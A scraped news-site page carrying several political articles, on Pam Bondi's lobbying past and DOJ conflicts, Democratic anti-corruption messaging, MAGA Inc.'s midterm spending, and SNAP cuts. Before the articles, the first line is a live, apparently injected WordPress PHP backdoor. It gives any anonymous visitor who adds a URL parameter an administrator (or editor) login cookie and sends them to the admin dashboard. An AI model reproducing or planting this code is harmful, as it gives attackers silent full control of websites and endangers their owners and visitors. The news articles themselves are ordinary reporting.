// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Pam Bondi’s lobbying past will create an ethics morass at DOJ – Blue Light News
Connect with us

Politics

Pam Bondi’s lobbying past will create an ethics morass at DOJ

Published

on

Over the past six years, Pam Bondi has worked as a Washington lobbyist for one of the top firms in the country, representing corporate behemoths such as Amazon and Uber.

Now, some of the same clients her firm represents are squaring off against the Department of Justice she’s poised to lead. And corporate interests are cautiously optimistic that her selection will shepherd in an administration more friendly to their interests than President Joe Biden’s.

Her appointment, lobbyists say, could be a win for major U.S. corporations that find themselves crosswise with the Justice Department, including health care giant UnitedHealthcare and social media company TikTok. Those companies have paid tens of thousands of dollars this year to Bondi’s current employer, Ballard Partners, according to lobbying disclosures.

Bondi’s confirmation as attorney general would also pose a myriad of ethical questions about what kind of access she will grant her firm and whether she will recuse herself from issues involving Ballard.

Bondi, who has yet to resign from Ballard, where she serves as a D.C.-based partner and chairs the firm’s corporate regulatory compliance practice focusing on Fortune 500 companies. Since 2019, she has lobbied the federal government for a host of major businesses, including Amazon, General Motors, Fidelity National Financial, Uber and Carnival North America. She serves as a key adviser to the firm’s president, Brian Ballard.

Bondi has also lobbied for the GEO Group, a major private prison company that is paid hundreds of millions of dollars each year by the federal government, according to federal records. The Justice Department is a major customer.

Currently, Bondi is only registered to lobby for the Major County Sheriffs of America, which pays her firm $50,000 a quarter, the Florida Sheriffs Risk Management Fund, which pays her firm $20,000 a quarter, and the Florida Sheriffs Association, which pays her firm $20,000 a quarter. Bondi, a former personal attorney to Trump, has also worked on corporate and regulatory issues and litigation at the Florida-based law firm Panza Maurer.

“It is essentially impossible to organize a Justice Department ethically in light of the breadth of Bondi’s connections,” said Jeff Hauser, founder of the progressive Revolving Door Project. “I think it’s just going to be off-the-charts bad.”

He added that even if Bondi were not to involve herself in issues involving certain companies, she could still influence her department in their favor. For example, Hauser argued, her direction for the antitrust division would have broad implications for her onetime client Amazon.

Bondi did not respond to an email seeking comment, and a spokesperson for Amazon declined to comment.

Some business leaders had feared that, under Trump, they would lose their allies in the GOP, as the party veered in a more populist direction. But big business is hopeful that with Bondi, they’ll get a reprieve from the Biden administration’s corporate crackdowns and avoid follow-through on the Trump campaign’s anti-corporate rhetoric.

“Pam may reinforce that idea that we’re going back to normalcy on deal flow,” said one Republican lobbyist, referring to corporate mergers. The person was granted anonymity to speak candidly. “Everyone believes that she’s approachable. … She understands that companies need to have an opportunity to be heard.”

The tech industry, for one, is relatively optimistic about Bondi’s nomination, especially compared to former lawmaker and antitrust crusader Matt Gaetz, whose earlier nomination for attorney general imploded. Major companies have spent the last four years fighting anti-monopoly champions at the Department of Justice, led by Assistant Attorney General Jonathan Kanter. With Bondi’s selection, Big Tech sees a movement away from the economic populism that made them major targets, said one lobbyist representing major technology companies.

Bondi could assume the head of the Justice Department as it pursues litigation against one of Ballard Partners’ new clients: UnitedHealth.

Among the Justice Department’s legal fights against the world’s largest technology companies is ongoing litigation against Ballard client TikTok and its parent company ByteDance over allegations that the company violated child privacy laws. The department has also been defending the law that would force ByteDance to sell TikTok, a requirement Trump has previously opposed.

TikTok hired Ballard to lobby in early August, according to federal records. The firm was paid $50,000 in the third quarter to lobby Congress around “Issues related to internet technology, regulation of content platforms.”

“A pick like Pam Bondi does signify a return to more of a centrist approach to really all of business,” said the lobbyist representing major technology companies. “We’re cautiously optimistic and supportive of her nomination.”

In her previous role as Florida’s attorney general, Bondi came under fire from progressives for decisions not to go after corporate interests. She drew headlines for declining to pursue penalties against Trump University, after the Trump Foundation donated $25,000 to a group backing Bondi. She has claimed the donation played no role in the decision.

Additionally, The New York Times reported in 2014 that she had decided against prosecuting the hospital bill collection firm that was then known as Accretive Health, after a law firm hired by the business lobbied her office.

“All nominees and appointees will comply with the ethical obligations of their respective agencies,” said Trump transition spokesperson Brian Hughes in a statement.

Brian Ballard, the president of the firm and Bondi’s boss, called her “one of the most ethical straightforward political figures [he’s] ever dealt with.” He predicted she would institute measures to prevent conflict from her previous work and said his firm would comply with those rules.

Ballard brought his firm to Washington at the start of Trump’s presidency and has created a lobbying firm known on K Street as one of the closest to Trump’s orbit. Trump selected another alumna of his firm — Susie Wiles — to be his chief of staff, although Wiles was reportedly pressured to leave Ballard’s firm.

Bondi could also assume the head of the Justice Department as it pursues litigation against another one of Ballard Partners’ new clients: UnitedHealth. The Biden administration, along with several states, is moving to block UnitedHealth’s acquisition of the health and hospice provider Amedisys, arguing that the merger would harm competition in its industry. Ballard began lobbying for UnitedHealthCare Services, a subsidiary of UnitedHealth, at the federal level last summer.

As top prosecutor, Bondi would also be charged with overseeing drug policy, as Trump has indicated his support easing federal marijuana policy. The cannabis company Trulieve has been working with Ballard Partners for years, lobbying on “medical marijuana policy and regulation.”

But good governance activists are concerned with Bondi’s corporate past. Rick Claypool, a research director with the progressive consumer advocacy group Public Citizen, said the Justice Department’s revolving door was a broader problem with the agency’s leadership, and Bondi was the latest example. He fears that her history protecting businesses from enforcement actions would impact how she managed the department.

“We know the corporate defendants are going to use every advantage that they can get to try to argue to get out of enforcement actions,” he said. “So I think it’s gonna be really important that the front line DOJ prosecutors who are investigating and bringing cases against former clients are able to do their jobs without interference.”

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

Democrats are making corruption messaging a pocketbook issue

Published

on

Democrats may be discovering the political power of calling something rigged.

They’re leaning hard into anti-corruption messaging in the final weeks of the campaign as new research suggests that linking corruption to Americans’ economic struggles can boost Democrats into the home stretch.

Messaging from Democrats that tied corruption to housing, health care and the cost of living increased voter support for Democratic congressional candidates by about 3 percentage points, according to a national survey last month conducted by Blue Rose Research and Democratic-aligned Winning Jobs Narrative Action, which was obtained by POLITICO.

The findings align with a shift in how Democrats are talking about corruption — and help explain why that message has exploded on the campaign trail. From Sen. Jon Ossoff in Georgia to James Talarico in Texas and Abdul El-Sayed in Michigan, Democrats have zeroed in on a common argument: Washington is rigged to benefit the wealthy at the expense of everyday Americans.

“We have a corruption crisis in this country, and it is leading to an affordability crisis,” Iowa Democratic state Rep. Josh Turek said during his Senate debate against Rep. Ashley Hinson last week.

It’s a message that is reverberating across campaigns. In a recent presentation delivered to Democratic groups on Capitol Hill, longtime Democratic strategist Jesse Ferguson offered a succinct playbook: “Corruption is why your costs are high,” according to the presentation viewed by Blue Light News.

His presentation also encouraged Democrats to lead with the acknowledgement that costs are high and then go into corruption, acknowledge that it happens across parties and avoid making President Donald Trump the sole focus of their attacks. “Trump works as an example of corruption that raises costs, not as the whole case,” the presentation said.

Since April, Democratic candidates and outside groups in House and Senate races have spent roughly $104 million on advertising mentioning corruption, according to ad tracking firm AdImpact. Republicans, meanwhile, have spent $36 million across House and Senate campaigns over the same period.

“It’s not just like, ‘oh, look at what’s happening with the ballroom,’ or ‘boy, Donald Trump’s made a lot of money on crypto,’” Democratic strategist Chris Meagher said. “You have to be able to tie it to the impact on people’s lives.”

“The narrative works best when it’s an outsider candidate who is linking a rigged economy to a rigged political system,” longtime Democratic pollster Celinda Lake said of the anti-corruption messaging.

Running against corruption is not new. But as Democrats looked for a way out of the political wilderness after 2024, they began turning a familiar attack — anti-corruption — into a broader message tied to voters’ economic pain. What once was an attack largely focused on Trump has become a more expansive argument for candidates trying to connect it to why Americans are struggling financially, potentially providing a blueprint for the party beyond November.

“Democrats used to talk about corruption as a crime. Now corruption is the explanation for costs,” Ferguson, the Democratic strategist, said.

The issue — and messaging around it — is also coming to the fore in a cycle when anger over the suppression of Epstein files hit a fever pitch and public pressure to ban Congress from trading stocks continues to mount.

And it’s not just the research by Blue Rose that shows the potential potency of that message.

In another recent survey from the Democratic group Navigator Research, obtained by Blue Light News, the vast majority of Americans — both Democrats and Republicans — say corruption is driving up their costs. That same survey of registered voters, conducted in August, found majorities, including roughly a quarter of Republicans, say Trump is bringing more corruption to Washington than fixing it.

And new results from the nonpartisan Center Square’s Voter Voice Poll, conducted this month by Noble Predictive Insights and shared first with Blue Light News, show 10% of voters ranking government corruption as the second most important issue facing Americans, tied with the economy and jobs, and only behind inflation and price increases.

In some instances, Democrats have wrested the word “rigged” away from Trump who has used it in the context of unproven election fraud and turned it into a mobilizing political talking point. That’s a departure from March 2024 when Democrats criticized then Rep. Katie Porter for accusing special interests of spending money to “rig” the California Senate race after she lost in the state’s primary. But now some Democrats are embracing that language as a way to rail against what they see as a corrupt system.

“They’re rigging the rules to benefit their wealthy donors and corporate special interests,” former Ohio Democratic Sen. Sherrod Brown said in a message to supporters announcing the launch of his campaign to return to office.

But the corruption resonates across parties. Republicans who spoke with Blue Light News said Democrats do not own the issue — voters everywhere are animated by it. While polling shows that voters in both major parties believe the government is corrupt, Republicans accuse Democrats of lacking credibility on the issue.

“Americans have been disgusted by the level of self-serving corruption that spread like herpes through the slimy politicians who run the Democrat Party, and now they’re suddenly changing their tune because it’s an election year,” National Republican Congressional Committee spokesperson Mike Marinella said in a statement. “Voters see through the facade, and they know Republicans are cleaning up the rot left behind by Democrat leaders.”

On the Senate side, National Republican Senatorial Committee spokesperson Bernadette Breslin pointed Blue Light News to a poll in Minnesota — a rare offensive opportunity for Senate Republicans this cycle — that shows there are just about as many voters who blame Democratic Gov. Tim Walz for widespread fraud of federally-funded government programs in the state as there are who blame the criminals. Walz’s lieutenant governor, Peggy Flanagan, is running for Senate against Republican Michele Tafoya, and corruption under Democratic rule is a key theme for Republicans in the race.

“The overwhelming majority of Minnesotans blame the Walz-Flanagan administration — and the criminals it aided and abetted — for plundering their hard-earned taxpayer dollars,” Breslin said. “They’ll vote for Michele Tafoya to right the ship this November.”

Steve Pierce, executive director at Winning Jobs Narrative Action, said one of the biggest shifts for Democrats this cycle on corruption has been a move away from a message largely rooted in concerns over democratic norms, which have struggled to break through in a way that moves voters in past cycles.

“You’ve seen Democrats, rather than connecting corruption to democracy, connecting it to affordability, connecting it to the top concern that voters have,” said Pierce. “It’s connecting it in a way that’s meaningful to voters around the things that they are thinking about every day.”

The anti-corruption message has played out across the country, and as an explanation for frustration against different economic pain points, including rising electric bills and local data center projects.

A recent memo on data centers from House Majority PAC, the main super PAC working to elect House Democrats, noted the “message environment in the 2026 election cycle has been dominated by costs, with an important secondary theme around corruption that began to emerge last year.” The group’s spokesperson, CJ Warnke, told Blue Light News that “every single poll and every single focus group shows affordability to be voters’ number one issue, and they specifically point to corrupt politicians as being responsible for driving up prices.”

Next month’s midterms will offer the clearest test yet of whether Democrats can turn this message into votes. But Democratic operatives increasingly see anti-corruption messaging as more than just a short-term political weapon — as long as they try to do something about it if they win control next year.

“I think the thing for Democrats, if they do want to keep it on the radar heading into 2028, and I think they should because I think it is a really potent issue for them, they are going to have to also deliver on it,” said Pierce.

“They have to be able to show up to get caught trying,” he said.

Continue Reading

Politics

MAGA Inc. plots final midterm money moves

Published

on

MAGA Inc. is planning to trim the map in a homestretch bid to cling to power in November.

The President Donald Trump-aligned super PAC, with several hundred million dollars still in the bank, is planning a series of major money moves coordinated with other leading GOP super PACs in the final three weeks before Election Day. The push includes cutting off spending to a group of less attainable House races, piling in money to shore up others and training its focus on key Senate seats to salvage Republicans’ Senate majority.

Ohio, Alaska and Iowa are the Senate races that Trump officials view as increasingly critical to keep their majority in the chamber, according to three GOP officials familiar with MAGA Inc.’s strategy, granted anonymity to candidly assess the midterms.

One of the people said MAGA Inc. and a leading House GOP super PAC would pull spending out of Michigan’s 8th District by the middle of this week. The move effectively acknowledges Democratic Rep. Kristen McDonald Rivet’s strength over GOP challenger Tom Smith. They have similar plans for a group of other House races in the coming days that are trending away from Republicans.

The official stressed the tacking would amount to “re-allocating, not cutting” the total planned spend.

MAGA Inc. and its affiliates are still competing in all of the Senate battlegrounds, including Texas, where they expected to add at least $5 million and potentially more in the coming days, according to the official.

For the Senate, winning two out of those three states of Ohio, Alaska and Iowa would make it “hard” for Democrats to take the Senate, one of the senior GOP officials projected, adding that a three-state sweep would decisively put it out of reach for Democrats. That, however, would require Republicans to win Texas and a handful of other at-risk red states, while also flipping Michigan or another blue state. The same senior Republican official said there’s confidence GOP Rep. Ashley Hinson “probably pulls through” in the Iowa Senate race.

Texas, however, remains a massive headache for Republicans — and the GOP official is pointing to Ken Paxton as the problem.

The senior Republican official said MAGA Inc. would do what it can to help candidates and vowed to “unload the tank” — a promise the group has been making for months even as it’s only spent more than half of the half-a-billion-dollar war chest with three weeks to go.

But the onus for standing up a winning campaign is shifting. Ultimately, the official said, “it’s up to the candidates, not the outside groups” to “bring it home and have a reason to get a few more points of swing voters their way.” They also need to maximize their votes with Republicans, this person said.

“Over the next week to 10 days you will see a lot of moves — a lot of coordinated moves — that are around trimming the map for the home stretch,” the senior GOP official familiar with MAGA Inc.’s plans said. “It’ll be all over the place. It’ll just just be moving on from districts that we don’t think it’s the right time for, and piling in further on ones we think it is the right time for.”

That would force top House GOP groups to decide whether to shift their own cash to take over key spending from MAGA Inc. as they work to defend a host of once-safely red House seats Trump won by more than 10 points in 2024 that are now at risk. That includes key districts across the Midwest, North Carolina, Nevada, along with a seat in Kentucky, which Trump won by 15 points.

In Ohio, where Trump is traveling for a rally on Monday, Republicans have privately worried about GOP Sen. Jon Husted for months. The former lieutenant governor, who was appointed to serve out Vice President JD Vance’s Senate term, has been trailing former Democratic Sen. Sherrod Brown in public and private polling for months. The top Senate GOP super PAC, Senate Leadership Fund, has unloaded close to $100 million in Ohio and a slew of outside groups have joined, making it one of the most expensive Senate contests in the country. Just in the last week, Husted notched his first narrow lead over Brown in one recent poll.

“We want a maximum spend,” Ohio GOP Chair Alex Triantafilou, who played host to Vance on Friday in Lima and will reprise that role as the president lands in Youngstown, said in an interview. “We want as much attention. I mean, the president’s coming, the vice president. Look, I’m the chair of the Republican Party — I want full resources in this state. We welcome it very much.”

And while Texas has emerged as an unexpectedly expensive headache for Republicans, another GOP operative familiar with MAGA Inc.’s thinking suggested Ohio could end up costing Republicans more spending from all sides, despite its smaller size.

Democrats see the same final battlefield taking shape. Senate Majority PAC, the top Democratic-aliied PAC, is injecting $2.5 million in Iowa and $7 million in Ohio for television ads, according to plans shared first with Blue Light News, “injecting new resources to help close the gap in those battleground states,” a spokesperson said. They’ll also continue to back aggressive digital campaigns in each state. This comes on the heels of SMP dropping $5 million in Kansas.

Beyond Ohio, other senior Republicans are busy trying to staunch the bleeding in red states across the map.

Top Senate GOP groups have already cut off spending in North Carolina, where Republicans are struggling to defend a GOP-held seat. They have also pulled some money back in Georgia but are still planning to unload millions more in the Peach State.

Senate Leadership Fund expects to keep spending broadly across the map in the final weeks. The group plans to pour even more money into Texas as a potential lifeline to Paxton, hitting a total of nearly $200 million. They’re also dropping dough in Kansas to defend Sen. Roger Marshall, whose tough race against Democrat Adam Hamilton blindsided top Republicans in the final weeks, along with a crop of other endangered GOP incumbents, according to two Republicans with direct knowledge of the plans. And, SLF is expected to keep unloading money into the Michigan Senate race, which Senate Republicans view as their top flip opportunity.

The senior GOP official familiar with MAGA Inc.’s strategy defended the group’s spending decisions, despite waves of criticism from some Republicans who wanted it to unleash all its $400-million-plus war chest, and sooner. So far, MAGA Inc. and its affiliates have spent just over $200 million this cycle, including future ad reservations, according to data from AdImpact.

The cash the wider MAGA Inc. operation deployed last month, which was close to $100 million, shielded candidates from further losses as the environment worsened for Republicans, the official argued.

“The money’s working,” the official said. “The money stopped everybody from getting killed in September when the environment rapidly deteriorated further. The money held the line.”

The campaigns that received the September spending were able to “stay afloat,” one of the other officials said. “There are more candidates in a position that they can still win their race today that wouldn’t have been had that not happened.”

Many of those GOP candidates, however, privately argue it was Trump’s poor approval rating and his decisions around the ongoing war with Iran, tariffs and sky-high fuel prices that are sparking voter backlash.

It was during that September panic that GOP officials became increasingly worried about the growing map.

At one point, Trump officials believed they may need to start intervening to boost even Sen. Ashley Moody in ruby-red Florida as warning signs shot up across the Sunshine State, according to two Trump officials with direct knowledge of the matter.

But recent internal polling for Moody has turned a corner, alleviating many of those concerns and prompting Trump officials to stand by plans for the president to visit the state — but more as a way to boost Rep. Byron Donalds, who is running for governor, and several key House races that Republicans are worried about, according to the people.

Jessica Piper contributed to this report.

Continue Reading

Politics

How SNAP could crunch the midterms

Published

on

Under the political radar, the country’s food stamps program is undergoing a slow-motion transformation. The ramifications could bubble up into the midterms.

Changes to the Supplemental Nutrition Assistance Program from Republicans’ One Big Beautiful Bill Act are rolling out in phases, from tougher work requirements to restrictions on non-citizens. Food stamp rolls already shrank by more than 5 million people nationwide as of this summer, as the hardest-hit state, Arizona, saw an outright majority of its food stamp recipients lose benefits.

The latest alteration clicked into place Oct. 1, when the share of administrative costs states and counties have to pay rose to 75% from 50%. An even bigger financial shift looms in a year, when states with high payment error rates will have to assume some benefit costs for the first time, a scenario that’s already rippling through state and local budget planning.

It all adds up to a new era in federal-state relations — and in the size and nature of the welfare state.

In a year when affordability worries top voters’ priority lists and grocery prices strain their wallets, Democrats think the SNAP shift gives them an opening to make Republicans pay politically after the GOP used social safety net cuts to food aid and Medicaid to help pay for last year’s tax cuts.

“People are getting kicked off these programs at the very moment they’re going to the polls to vote,” House Agriculture ranking member Angie Craig (D-Minn.) said. “I sure wouldn’t want to be a Republican headed into the November ballot.”

But Republicans think they have a compelling story to tell voters, trying to right-size a program that spends millions of dollars on erroneous payments. The SNAP changes align with the Trump administration’s broader push to crack down on fraud and make the government smaller or more efficient. Implementing stricter work requirements for welfare often polls well, and trying to move people toward work gets at the root causes of poverty, they argue.

“The premise is simple: Let’s make sure that this program is preserved for those truly in need, and that we aren’t squandering taxpayer dollars,” a senior USDA official told Playbook in an interview. “And let’s make sure that if folks are able-bodied, they are work training or volunteering for 20 hours per week.”

That doesn’t mean Republicans in competitive races are putting SNAP and Medicaid cuts front and center on the campaign trail. When they tout last year’s megalaw, new tax breaks typically lead the messaging. And 10 frontline GOP House campaigns didn’t respond to requests for interviews about how they can win on SNAP.

At the state and county level, some governments are scrambling to prepare for a massive cost shift, hitting at the same time as significant Medicaid changes. The resulting bureaucratic jumble has contributed to some of the SNAP losses this year, as recipients struggled to get through overtaxed call centers, some states cut staff, and others tightened their processes.

“It really sets up a change in the federal responsibility, and I view it as a slippery slope,” warned Barbara Guinn, New York’s commissioner of the Office of Temporary and Disability Assistance. Her state is staring down a possible $1 billion added burden next year, though they’re advocating for a repeal of the benefits change. “Once they implement any kind of cost shift, I think it will be easier for them to take similar actions in the future.”

Whether to delay next year’s cost shift has already generated tensions over the farm bill in the Senate, where Democrats are demanding a longer postponement than Republicans’ offer of one year. Some Minnesota counties are considering significant property tax increases to pay for the extra costs, Craig said: “We’re going to be pushing hard for a two-year delay — at the request of, frankly, many of my Republican county commissioners, not just Democrats.”

Conservatives see the new calculus as a long overdue change to improve efficiency and incentivize program integrity. Improper payment rates are high in many states (though they comprise both over-payments and under-payments, and error rates are different from fraud). Those that reduce errors enough won’t have to take on paying the benefits. And even opponents of the changes think lower error rates are a worthy goal. SNAP rolls often ebb and flow with the economy, and the recent drop could reflect the job market pulling people out of need — or the removal of people who shouldn’t have been getting food stamps in the first place.

“There needs to be some level of accountability,” the USDA official said. States with high error rates “need to start to have skin in the game.”

But at a time when many households are already squeezed by inflation, the SNAP changes have correlated with higher numbers of Americans turning to charities to ward off hunger. The surge in people losing food aid came more quickly than expected. The unemployment rate hasn’t meaningfully changed. And the vast majority of large food banks in a recent NBC survey said they were grappling with higher demand, in part due to food stamp changes. Another rule kicking in the day after the midterms could lead to many retailers being bumped out of SNAP as places where low-income people can use their benefits.

For state governments, a set of sweeping operational changes are now underway to conform to new policy demands, often requiring more money or staffing at already under-resourced offices. And the budgetary stakes to get error rates lower are sky-high.

“It’s a really complicated, nuanced and confusing time for states who are trying to administer SNAP,” said Lauren Kallins, a senior legislative director at the nonpartisan National Conference of State Legislatures, which has advocated for a delay in the benefits costs shift.

Continue Reading

Trending